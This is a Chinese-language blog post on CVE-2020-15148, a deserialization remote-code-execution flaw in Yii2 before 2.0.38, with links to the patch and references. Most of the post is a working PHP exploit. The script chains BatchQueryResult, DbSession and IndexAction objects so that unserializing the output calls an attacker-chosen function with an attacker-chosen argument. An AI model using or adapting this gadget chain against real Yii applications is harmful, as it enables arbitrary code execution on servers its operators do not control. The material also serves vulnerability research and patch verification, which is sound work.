CVE-2020-15148 Yii框架反序列化RCE利用链 exp

gclome

原文链接：CVE-2020-15148 Yii框架反序列化RCE利用链 exp

简介
如果在使用yii框架，并且在用户可以控制的输入处调用了unserialize()并允许特殊字符的情况下，会受到反序列化远程命令命令执行漏洞攻击。
该漏洞只是php 反序列化的执行链，必须要配合unserialize函数才可以达到任意代码执行的危害。
该反序列化执行链在今年8月初已经公开，建议使用yii框架的同学排查
影响范围Yii2 <2.0.38
修复方案
​
目前官方已经禁止BatchQueryResult类被反序列化
exp

1. <?php
   
2. namespace yii\rest {
   
3.     class Action extends \yii\base\Action
   
4.     {
   
5.         public $checkAccess;
   
6.     }
   
7.     class IndexAction extends Action
   
8.     {
   
9.         public function __construct($func, $param)
   
10.         {
    
11.             $this->checkAccess = $func;
    
12.             $this->id = $param;
    
13.         }
    
14.     }
    
15. }
    
16. namespace yii\web {
    
17.     abstract class MultiFieldSession
    
18.     {
    
19.         public $writeCallback;
    
20.     }
    
21.     class DbSession extends MultiFieldSession
    
22.     {
    
23.         public function __construct($func, $param)
    
24.         {
    
25.             $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
    
26.         }
    
27.     }
    
28. }
    
29. namespace yii\base {
    
30.     class BaseObject
    
31.     {
    
32.         //
    
33.     }
    
34.     class Action
    
35.     {
    
36.         public $id;
    
37.     }
    
38. }
    
39. namespace yii\db {
    
40.     use yii\base\BaseObject;
    
41.     class BatchQueryResult extends BaseObject
    
42.     {
    
43.         private $_dataReader;
    
44.         public function __construct($func, $param)
    
45.         {
    
46.             $this->_dataReader = new \yii\web\DbSession($func, $param);
    
47.         }
    
48.     }
    
49. }
    
50. $exp = new \yii\db\BatchQueryResult($func, $param);
    
51. print(serialize($exp));

复制代码

参考

• https://github.com/yiisoft/yii2/commit/9abccb96d7c5ddb569f92d1a748f50ee9b3e2b99
• https://xz.aliyun.com/t/8082#toc-8
• https://github.com/AFKL-CUIT/phpggc/